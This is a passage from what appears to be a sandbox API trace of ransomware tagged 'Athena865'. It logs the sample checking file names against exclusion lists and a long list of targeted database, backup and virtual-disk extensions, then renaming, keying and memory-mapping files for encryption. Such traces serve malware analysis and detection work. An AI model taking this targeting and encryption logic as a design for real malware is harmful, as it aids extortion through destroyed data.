[0119.396] lstrlenW (lpString="dacpac") returned 6 [0119.396] lstrcmpiW (lpString1="ic.png", lpString2="dacpac") returned 1 [0119.396] lstrlenW (lpString="dad") returned 3 [0119.396] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0119.396] lstrlenW (lpString="dadiagrams") returned 10 [0119.396] lstrcmpiW (lpString1="raphic.png", lpString2="dadiagrams") returned 1 [0119.396] lstrlenW (lpString="daschema") returned 8 [0119.396] lstrcmpiW (lpString1="phic.png", lpString2="daschema") returned 1 [0119.396] lstrlenW (lpString="db-journal") returned 10 [0119.396] lstrcmpiW (lpString1="raphic.png", lpString2="db-journal") returned 1 [0119.396] lstrlenW (lpString="db-shm") returned 6 [0119.396] lstrcmpiW (lpString1="ic.png", lpString2="db-shm") returned 1 [0119.396] lstrlenW (lpString="db-wal") returned 6 [0119.396] lstrcmpiW (lpString1="ic.png", lpString2="db-wal") returned 1 [0119.396] lstrlenW (lpString="dbc") returned 3 [0119.396] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0119.396] lstrlenW (lpString="dbs") returned 3 [0119.396] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0119.396] lstrlenW (lpString="dbt") returned 3 [0119.396] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0119.396] lstrlenW (lpString="dbv") returned 3 [0119.396] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0119.396] lstrlenW (lpString="dbx") returned 3 [0119.396] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0119.397] lstrlenW (lpString="dcb") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0119.397] lstrlenW (lpString="dct") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0119.397] lstrlenW (lpString="dcx") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0119.397] lstrlenW (lpString="ddl") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0119.397] lstrlenW (lpString="dlis") returned 4 [0119.397] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0119.397] lstrlenW (lpString="dp1") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0119.397] lstrlenW (lpString="dqy") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0119.397] lstrlenW (lpString="dsk") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0119.397] lstrlenW (lpString="dsn") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0119.397] lstrlenW (lpString="dtsx") returned 4 [0119.397] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0119.397] lstrlenW (lpString="dxl") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0119.397] lstrlenW (lpString="eco") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0119.397] lstrlenW (lpString="ecx") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0119.397] lstrlenW (lpString="edb") returned 3 [0119.397] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0119.397] lstrlenW (lpString="epim") returned 4 [0119.397] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0119.397] lstrlenW (lpString="fcd") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0119.398] lstrlenW (lpString="fdb") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0119.398] lstrlenW (lpString="fic") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0119.398] lstrlenW (lpString="flexolibrary") returned 12 [0119.398] lstrcmpiW (lpString1="ngraphic.png", lpString2="flexolibrary") returned 1 [0119.398] lstrlenW (lpString="fm5") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0119.398] lstrlenW (lpString="fmp") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0119.398] lstrlenW (lpString="fmp12") returned 5 [0119.398] lstrcmpiW (lpString1="c.png", lpString2="fmp12") returned -1 [0119.398] lstrlenW (lpString="fmpsl") returned 5 [0119.398] lstrcmpiW (lpString1="c.png", lpString2="fmpsl") returned -1 [0119.398] lstrlenW (lpString="fol") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0119.398] lstrlenW (lpString="fp3") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0119.398] lstrlenW (lpString="fp4") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0119.398] lstrlenW (lpString="fp5") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0119.398] lstrlenW (lpString="fp7") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0119.398] lstrlenW (lpString="fpt") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0119.398] lstrlenW (lpString="frm") returned 3 [0119.398] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0119.398] lstrlenW (lpString="gdb") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0119.399] lstrlenW (lpString="gdb") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0119.399] lstrlenW (lpString="grdb") returned 4 [0119.399] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0119.399] lstrlenW (lpString="gwi") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0119.399] lstrlenW (lpString="hdb") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0119.399] lstrlenW (lpString="his") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0119.399] lstrlenW (lpString="ib") returned 2 [0119.399] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0119.399] lstrlenW (lpString="idb") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0119.399] lstrlenW (lpString="ihx") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0119.399] lstrlenW (lpString="itdb") returned 4 [0119.399] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0119.399] lstrlenW (lpString="itw") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0119.399] lstrlenW (lpString="jet") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0119.399] lstrlenW (lpString="jtx") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0119.399] lstrlenW (lpString="kdb") returned 3 [0119.399] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0119.399] lstrlenW (lpString="kexi") returned 4 [0119.399] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0119.399] lstrlenW (lpString="kexic") returned 5 [0119.400] lstrcmpiW (lpString1="c.png", lpString2="kexic") returned -1 [0119.400] lstrlenW (lpString="kexis") returned 5 [0119.400] lstrcmpiW (lpString1="c.png", lpString2="kexis") returned -1 [0119.400] lstrlenW (lpString="lgc") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0119.400] lstrlenW (lpString="lwx") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0119.400] lstrlenW (lpString="maf") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0119.400] lstrlenW (lpString="maq") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0119.400] lstrlenW (lpString="mar") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0119.400] lstrlenW (lpString="marshal") returned 7 [0119.400] lstrcmpiW (lpString1="hic.png", lpString2="marshal") returned -1 [0119.400] lstrlenW (lpString="mas") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0119.400] lstrlenW (lpString="mav") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0119.400] lstrlenW (lpString="maw") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0119.400] lstrlenW (lpString="mdbhtml") returned 7 [0119.400] lstrcmpiW (lpString1="hic.png", lpString2="mdbhtml") returned -1 [0119.400] lstrlenW (lpString="mdn") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0119.400] lstrlenW (lpString="mdt") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0119.400] lstrlenW (lpString="mfd") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0119.400] lstrlenW (lpString="mpd") returned 3 [0119.400] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0119.401] lstrlenW (lpString="mrg") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0119.401] lstrlenW (lpString="mud") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0119.401] lstrlenW (lpString="mwb") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0119.401] lstrlenW (lpString="myd") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0119.401] lstrlenW (lpString="ndf") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0119.401] lstrlenW (lpString="nnt") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0119.401] lstrlenW (lpString="nrmlib") returned 6 [0119.401] lstrcmpiW (lpString1="ic.png", lpString2="nrmlib") returned -1 [0119.401] lstrlenW (lpString="ns2") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0119.401] lstrlenW (lpString="ns3") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0119.401] lstrlenW (lpString="ns4") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0119.401] lstrlenW (lpString="nsf") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0119.401] lstrlenW (lpString="nv") returned 2 [0119.401] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0119.401] lstrlenW (lpString="nv2") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0119.401] lstrlenW (lpString="nwdb") returned 4 [0119.401] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0119.401] lstrlenW (lpString="nyf") returned 3 [0119.401] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0119.402] lstrlenW (lpString="odb") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0119.402] lstrlenW (lpString="odb") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0119.402] lstrlenW (lpString="oqy") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0119.402] lstrlenW (lpString="ora") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0119.402] lstrlenW (lpString="orx") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0119.402] lstrlenW (lpString="owc") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0119.402] lstrlenW (lpString="p96") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0119.402] lstrlenW (lpString="p97") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0119.402] lstrlenW (lpString="pan") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0119.402] lstrlenW (lpString="pdb") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0119.402] lstrlenW (lpString="pdm") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0119.402] lstrlenW (lpString="pnz") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0119.402] lstrlenW (lpString="qry") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0119.402] lstrlenW (lpString="qvd") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0119.402] lstrlenW (lpString="rbf") returned 3 [0119.402] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0119.403] lstrlenW (lpString="rctd") returned 4 [0119.403] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0119.403] lstrlenW (lpString="rod") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0119.403] lstrlenW (lpString="rodx") returned 4 [0119.403] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0119.403] lstrlenW (lpString="rpd") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0119.403] lstrlenW (lpString="rsd") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0119.403] lstrlenW (lpString="sas7bdat") returned 8 [0119.403] lstrcmpiW (lpString1="phic.png", lpString2="sas7bdat") returned -1 [0119.403] lstrlenW (lpString="sbf") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0119.403] lstrlenW (lpString="scx") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0119.403] lstrlenW (lpString="sdb") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0119.403] lstrlenW (lpString="sdc") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0119.403] lstrlenW (lpString="sdf") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0119.403] lstrlenW (lpString="sis") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0119.403] lstrlenW (lpString="spq") returned 3 [0119.403] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0119.403] lstrlenW (lpString="te") returned 2 [0119.403] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0119.403] lstrlenW (lpString="teacher") returned 7 [0119.403] lstrcmpiW (lpString1="hic.png", lpString2="teacher") returned -1 [0119.404] lstrlenW (lpString="tmd") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0119.404] lstrlenW (lpString="tps") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0119.404] lstrlenW (lpString="trc") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0119.404] lstrlenW (lpString="trc") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0119.404] lstrlenW (lpString="trm") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0119.404] lstrlenW (lpString="udb") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0119.404] lstrlenW (lpString="udl") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0119.404] lstrlenW (lpString="usr") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0119.404] lstrlenW (lpString="v12") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0119.404] lstrlenW (lpString="vis") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0119.404] lstrlenW (lpString="vpd") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0119.404] lstrlenW (lpString="vvv") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0119.404] lstrlenW (lpString="wdb") returned 3 [0119.404] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0119.404] lstrlenW (lpString="wmdb") returned 4 [0119.405] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0119.405] lstrlenW (lpString="wrk") returned 3 [0119.405] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0119.405] lstrlenW (lpString="xdb") returned 3 [0119.405] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0119.405] lstrlenW (lpString="xld") returned 3 [0119.405] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0119.405] lstrlenW (lpString="xmlff") returned 5 [0119.405] lstrcmpiW (lpString1="c.png", lpString2="xmlff") returned -1 [0119.405] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.Athena865") returned 88 [0119.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.406] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.406] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10123) returned 1 [0119.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.407] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.407] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.408] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.408] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a90, lpName=0x0) returned 0x154 [0119.409] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a90) returned 0x100000 [0119.410] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.411] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.411] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.412] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.412] CloseHandle (hObject=0x154) returned 1 [0119.412] CloseHandle (hObject=0x17c) returned 1 [0119.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.412] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0119.412] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.412] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.412] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".") returned 1 [0119.412] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="..") returned 1 [0119.412] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="windows") returned -1 [0119.412] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="bootmgr") returned -1 [0119.412] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="temp") returned -1 [0119.412] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="pagefile.sys") returned -1 [0119.413] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="boot") returned -1 [0119.413] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="ids.txt") returned -1 [0119.413] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0119.413] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="perflogs") returned -1 [0119.413] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="MSBuild") returned -1 [0119.413] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0119.413] lstrcpyW (in: lpString1=0x241e8a0, lpString2="16to9Squareframe_SelectionSubpicture.png" | out: lpString1="16to9Squareframe_SelectionSubpicture.png") returned="16to9Squareframe_SelectionSubpicture.png" [0119.413] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0119.413] lstrlenW (lpString="Athena865") returned 9 [0119.413] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") returned 1 [0119.413] lstrlenW (lpString=".dll") returned 4 [0119.413] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".dll") returned 1 [0119.413] lstrlenW (lpString=".lnk") returned 4 [0119.413] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".lnk") returned 1 [0119.413] lstrlenW (lpString=".ini") returned 4 [0119.413] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".ini") returned 1 [0119.413] lstrlenW (lpString=".sys") returned 4 [0119.413] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".sys") returned 1 [0119.413] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0119.413] lstrlenW (lpString="bak") returned 3 [0119.413] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0119.413] lstrlenW (lpString="ba_") returned 3 [0119.413] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0119.413] lstrlenW (lpString="dbb") returned 3 [0119.413] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0119.413] lstrlenW (lpString="vmdk") returned 4 [0119.413] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0119.413] lstrlenW (lpString="rar") returned 3 [0119.413] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0119.414] lstrlenW (lpString="zip") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0119.414] lstrlenW (lpString="tgz") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0119.414] lstrlenW (lpString="vbox") returned 4 [0119.414] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0119.414] lstrlenW (lpString="vdi") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0119.414] lstrlenW (lpString="vhd") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0119.414] lstrlenW (lpString="vhdx") returned 4 [0119.414] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0119.414] lstrlenW (lpString="avhd") returned 4 [0119.414] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0119.414] lstrlenW (lpString="db") returned 2 [0119.414] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0119.414] lstrlenW (lpString="db2") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0119.414] lstrlenW (lpString="db3") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0119.414] lstrlenW (lpString="dbf") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0119.414] lstrlenW (lpString="mdf") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0119.414] lstrlenW (lpString="mdb") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0119.414] lstrlenW (lpString="sql") returned 3 [0119.414] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0119.414] lstrlenW (lpString="sqlite") returned 6 [0119.415] lstrcmpiW (lpString1="re.png", lpString2="sqlite") returned -1 [0119.415] lstrlenW (lpString="sqlite3") returned 7 [0119.415] lstrcmpiW (lpString1="ure.png", lpString2="sqlite3") returned 1 [0119.415] lstrlenW (lpString="sqlitedb") returned 8 [0119.415] lstrcmpiW (lpString1="ture.png", lpString2="sqlitedb") returned 1 [0119.415] lstrlenW (lpString="xml") returned 3 [0119.415] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0119.415] lstrlenW (lpString="$er") returned 3 [0119.415] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0119.415] lstrlenW (lpString="4dd") returned 3 [0119.415] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0119.415] lstrlenW (lpString="4dl") returned 3 [0119.415] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0119.415] lstrlenW (lpString="^^^") returned 3 [0119.415] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0119.415] lstrlenW (lpString="abs") returned 3 [0119.415] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0119.415] lstrlenW (lpString="abx") returned 3 [0119.415] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0119.415] lstrlenW (lpString="accdb") returned 5 [0119.415] lstrcmpiW (lpString1="e.png", lpString2="accdb") returned 1 [0119.415] lstrlenW (lpString="accdc") returned 5 [0119.415] lstrcmpiW (lpString1="e.png", lpString2="accdc") returned 1 [0119.415] lstrlenW (lpString="accde") returned 5 [0119.415] lstrcmpiW (lpString1="e.png", lpString2="accde") returned 1 [0119.415] lstrlenW (lpString="accdr") returned 5 [0119.415] lstrcmpiW (lpString1="e.png", lpString2="accdr") returned 1 [0119.415] lstrlenW (lpString="accdt") returned 5 [0119.415] lstrcmpiW (lpString1="e.png", lpString2="accdt") returned 1 [0119.416] lstrlenW (lpString="accdw") returned 5 [0119.416] lstrcmpiW (lpString1="e.png", lpString2="accdw") returned 1 [0119.416] lstrlenW (lpString="accft") returned 5 [0119.416] lstrcmpiW (lpString1="e.png", lpString2="accft") returned 1 [0119.416] lstrlenW (lpString="adb") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.416] lstrlenW (lpString="adb") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.416] lstrlenW (lpString="ade") returned 3 [0119.416] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0119.416] lstrlenW (lpString="adf") returned 3 [0119.416] lstrcmpiW 